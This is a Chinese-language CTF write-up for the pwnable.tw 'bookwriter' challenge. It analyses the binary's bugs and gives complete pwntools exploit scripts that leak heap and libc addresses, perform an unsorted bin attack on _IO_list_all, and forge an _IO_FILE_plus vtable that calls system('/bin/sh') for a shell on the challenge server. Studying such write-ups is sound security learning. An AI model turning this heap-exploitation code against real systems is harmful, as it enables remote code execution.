pwnable.tw 之 bookwriter

题目链接

参考wp:

【PWNABLE.TW】 BookWriter 解题思路

Pwnable.tw之BookWriter

1 分析

查看二进制各项属性:

1
2
3
4
5
6
7
8
9
10
11
$ file bookwriter
bookwriter: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=8c3e466870c649d07e84498bb143f1bb5916ae34, stripped
$ checksec bookwriter
[*] '/mnt/hgfs/vmshare-1604/bookwriter/bookwriter'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
FORTIFY: Enabled

  • 64位二进制程序,动态链接,去了符号表
  • got表不可写
  • 栈不可执行,开启栈canary
  • 地址随机化未开启

使用IDA分析二进制源码逻辑,存在四个功能,分别是:

  • add:添加page和内容
  • view:查看page的内容
  • edit:更改page的内容,并重新调整大小值size
  • information:显示作者姓名

漏洞点有以下几个:

  • 未进入while循环前输入作者姓名时,结束符控制有问题。导致后续打印该字符串时可越界读。
  • add函数中的if(i>8)判断有误,导致bss段原本存放size的位置可被覆盖为堆地址
  • edit函数中同样存在第一个问题,在输入字符串时,结束符控制有问题,导致计算strlen时产生一个大于原本字符串的值,后续可以越界写。

2 利用

2.1 泄露堆地址和libc基址

泄露堆地址和libc测试代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#coding=utf-8

from pwn import *
context(arch='amd64',os='linux',log_level='debug')
myelf=ELF('./bookwriter')
mylibc=ELF('./libc_64.so.6')
myproc=process(['./bookwriter'], env={"LD_PRELOAD":"./libc_64.so.6"})

def add_page(p_size,p_content):
myproc.recvuntil("Your choice :")
myproc.sendline(str(1))
myproc.recvuntil("Size of page :")
myproc.sendline(str(p_size))
myproc.recvuntil("Content :")
myproc.send(p_content)

def view_page(p_index):
myproc.sendlineafter("Your choice :",str(2))
myproc.sendlineafter("Index of page :",str(p_index))
#获取unsorted bin中第一个bin的top值
myproc.recvuntil("yuan")
top_addr = u64(myproc.recvuntil("\n")[:-1].ljust(8,"\x00"))
return top_addr

def edit_page(p_index,p_content):
myproc.sendlineafter("Your choice :",str(3))
myproc.sendlineafter("Index of page :",str(p_index))
myproc.sendlineafter("Content:",p_content)

def information(choice,p_author):
myproc.sendlineafter("Your choice :",str(4))
#获取.bss段中author_name相邻的page指针,即堆地址
myproc.recvuntil("yuan")
ret = u64(myproc.recvuntil("\n")[:-1].ljust(8,"\x00"))
myproc.sendlineafter("Do you want to change the author ? (yes:1 / no:0) ",str(choice))
if (choice == 1):
myproc.sendlineafter("Author :",p_author)
return ret

#泄露堆地址
myproc.sendafter("Author :","a"*60+"yuan") #构造64字节name,后续打印name会越界打印出堆地址
add_page(0x18,"b"*0x18)
edit_page(0,"c"*0x18) #计算size的时候会把top chunk的size字段也算进去,导致下一步可以多写3字节
edit_page(0,"\x00"*0x18+"\xe1\x0f\x00") #将page0的内容改为空,则page0的size字段为空,可绕过add_page中对page[8]的检查。最后三个字节更改top chunk的大小,使其进入unsorted bin中,从而泄露top地址
heap_addr = information(0,0) #获取page[0]上的堆地址
log.warn("heap addr: 0x%x " % heap_addr)

#泄露libc
for i in range(0,8):
add_page(0x64,"a"*4+"yuan")
top_addr = view_page(3) # 除了第一个从unsorted bin中分配的堆块,无法获得top地址,其他都可
log.warn("top_addr: 0x%x" % top_addr)
libc_base = top_addr - 0x58 - 0x3c3b20 #通过top地址,计算libc基址。0x58可以在堆调试中看到,0x3c3b20是查看libc.so中malloc_trim函数中变量的偏移获取到的。
log.warn("libc_base: 0x%x" % libc_base)

gdb.attach(myproc)
myproc.interactive()

2.2 get shell

通过以上代码,已经可以实现往第0个堆上写超长数据,从而覆盖堆空间其他部分了。

现在还需要解决几个问题:

(1)通过unsortedbin attack将IO_list_all覆盖为我们可写的内存地址,从而伪造IO_FILE_plus结构体

问题1:但是通过unsortedbin attack只能将IO_list_all覆盖为mainarena+0x58(64位),该空间是我们不可控的,且空间的条件内不满足执行_IO_OVERFLOW,因此会转去寻找chain这个地址。

(2)此时chain的位置正好是small bin的区域,因此我们需要构造一个能控制的small bin chunk

问题2:怎么获得这个可控制的small bin chunk呢?将unsorted bin chunk中的chunk大小改一下,改成small bin大小,这样从unsorted bin中拆下的chunk就会被链接到对应大小的small bin上。

问题3:这个大小应该多大呢?根据(1)中chain的位置来确定,本题是0x60。

unsorted bin attack

参考ctf-wiki:unsorted bin attack

利用该方法可以往任意地址写一个固定的值。本题中可以将main_arena+0x58的地址写到IO_list_all上(将IO_list_all - 0x10的地址放在unsorted chunk的bk处),从而将IO_FILE_plus转移。由于main_arena不满足条件,会继续转移。IO_FILE中chain的位置正好在0x60大小small bin的bk处。如下图,构造一个0x60大小的unsorted bin,malloc时会将该unsorted bin放到chunk(IO_FILE)位置。而unsorted bin chunk的大部分区域我们都可以通过堆溢出来任意写。

I/O FILE

以上分析可知,我们现在需要在unsorted bin chunk里布局IO_FILE_plus结构体,有一些限制条件,在参考链接中有提及,这里不复述。因此,通过堆溢出在第0号堆块上布局如下:

按照如上构造后,在gef中调试打印如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
gef➤  heap chunks
Chunk(addr=0x1c91010, size=0x20, flags=PREV_INUSE)
[0x0000000001c91010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................]
gef➤ x/50gx 0x1c91010+0x390
0x1c913a0: 0x0068732f6e69622f 0x0000000000000061
0x1c913b0: 0x0000000000000000 0x00007f9ecc967510
0x1c913c0: 0x0000000000000002 0x0000000000000003
0x1c913d0: 0x0000000000000000 0x0000000000000000
0x1c913e0: 0x0000000000000000 0x0000000000000000
0x1c913f0: 0x0000000000000000 0x0000000000000000
0x1c91400: 0x0000000000000000 0x0000000000000000
0x1c91410: 0x0000000000000000 0x0000000000000000
0x1c91420: 0x0000000000000000 0x0000000000000000
0x1c91430: 0x0000000000000000 0x0000000000000000
0x1c91440: 0x0000000000000000 0x0000000000000000
0x1c91450: 0x0000000000000000 0x0000000000000000
0x1c91460: 0xffffffffffffffff 0x0000000000000000
0x1c91470: 0x0000000000000000 0x0000000001c91480
0x1c91480: 0x0000000000000000 0x0000000000000000
0x1c91490: 0x0000000000000001 0x00007f9ecc5e7390
0x1c914a0: 0x0000000000000000 0x0000000000000000
0x1c914b0: 0x0000000000000000 0x0000000000000000
0x1c914c0: 0x0000000000000000 0x0000000000000000
0x1c914d0: 0x0000000000000000 0x0000000000000000
0x1c914e0: 0x0000000000000000 0x0000000000000000
0x1c914f0: 0x0000000000000000 0x0000000000000000
0x1c91500: 0x0000000000000000 0x0000000000000000
0x1c91510: 0x0000000000000000 0x0000000000000000
0x1c91520: 0x0000000000000000 0x0000000000000000
gef➤ p *(struct _IO_FILE_plus*)0x1c913a0
$1 = {
file = {
_flags = 0x6e69622f,
_IO_read_ptr = 0x61 <error: Cannot access memory at address 0x61>,
_IO_read_end = 0x0,
_IO_read_base = 0x7f9ecc967510 "",
_IO_write_base = 0x2 <error: Cannot access memory at address 0x2>,
_IO_write_ptr = 0x3 <error: Cannot access memory at address 0x3>,
_IO_write_end = 0x0,
_IO_buf_base = 0x0,
_IO_buf_end = 0x0,
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x0,
_fileno = 0x0,
_flags2 = 0x0,
_old_offset = 0x0,
_cur_column = 0x0,
_vtable_offset = 0x0,
_shortbuf = "",
_lock = 0x0,
_offset = 0x0,
_codecvt = 0x0,
_wide_data = 0x0,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0x0,
_mode = 0xffffffff,
_unused2 = "\377\377\377\377", '\000' <repeats 15 times>
},
vtable = 0x1c91480
}
gef➤ p *(struct _IO_jump_t*)0x1c91480
$2 = {
__dummy = 0x0,
__dummy2 = 0x0,
__finish = 0x1,
__overflow = 0x7f9ecc5e7390 <__libc_system>,
__underflow = 0x0,
__uflow = 0x0,
__pbackfail = 0x0,
__xsputn = 0x0,
__xsgetn = 0x0,
__seekoff = 0x0,
__seekpos = 0x0,
__setbuf = 0x0,
__sync = 0x0,
__doallocate = 0x0,
__read = 0x0,
__write = 0x0,
__seek = 0x0,
__close = 0x0,
__stat = 0x0,
__showmanyc = 0x0,
__imbue = 0x0
}

3 EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
#coding=utf-8

from pwn import *
context(arch='amd64',os='linux',log_level='debug')
myelf=ELF('./bookwriter')
mylibc=ELF('./libc_64.so.6')
myproc=remote("chall.pwnable.tw",10304)
#myproc=process(['./bookwriter'], env={"LD_PRELOAD":"./libc_64.so.6"})
#mylibc=ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
#myproc=process(myelf.path)

def add_page(p_size,p_content):
myproc.recvuntil("Your choice :")
myproc.sendline(str(1))
myproc.recvuntil("Size of page :")
myproc.sendline(str(p_size))
myproc.recvuntil("Content :")
myproc.send(p_content)

def view_page(p_index):
myproc.sendlineafter("Your choice :",str(2))
myproc.sendlineafter("Index of page :",str(p_index))
myproc.recvuntil("aaaaaaaa")
top_addr = u64(myproc.recvuntil("\n")[:-1].ljust(8,"\x00"))
return top_addr

def edit_page(p_index,p_content):
myproc.sendlineafter("Your choice :",str(3))
myproc.sendlineafter("Index of page :",str(p_index))
myproc.sendlineafter("Content:",p_content)

def information(choice,p_author):
myproc.sendlineafter("Your choice :",str(4))
myproc.recvuntil("yuan")
ret = u64(myproc.recvuntil("\n")[:-1].ljust(8,"\x00"))
myproc.sendlineafter("Do you want to change the author ? (yes:1 / no:0) ",str(choice))
if (choice == 1):
myproc.sendlineafter("Author :",p_author)
return ret

myproc.sendafter("Author :","a"*60+"yuan")
add_page(0x18,"b"*0x18)
edit_page(0,"c"*0x18)
edit_page(0,"\x00"*0x18+"\xe1\x0f\x00")
heap_addr = information(0,0)
log.warn("heap addr: 0x%x " % heap_addr)

for i in range(0,8):
add_page(0x64,"a"*8)

top_addr = view_page(3)
log.warn("top_addr: 0x%x" % top_addr)
#yuancheng
libc_base = top_addr - 0x58 - 0x3c3b20
#bendi
#libc_base = top_addr - 0x58 - 0x3c4b20
log.warn("libc_base: 0x%x" % libc_base)

fakefile = "/bin/sh\0" + p64(0x61) + p64(0) + p64(libc_base + mylibc.symbols['_IO_list_all']-0x10) + p64(2) + p64(3)
fakefile += "\x00"*0x90 + p64(0xffffffffffffffff) + "\x00"*0x10
fakefile += p64(heap_addr + 0x390 + 0xe0)

vtable = p64(0) + p64(0) + p64(1) + p64(libc_base + mylibc.symbols["system"])

payload = "\x00"*0x390 + fakefile + vtable
edit_page(0,payload)

myproc.recvuntil("Your choice :")
myproc.sendline(str(1))
myproc.recvuntil("Size of page :")
myproc.sendline(str(0x10))

#gdb.attach(myproc)
myproc.interactive()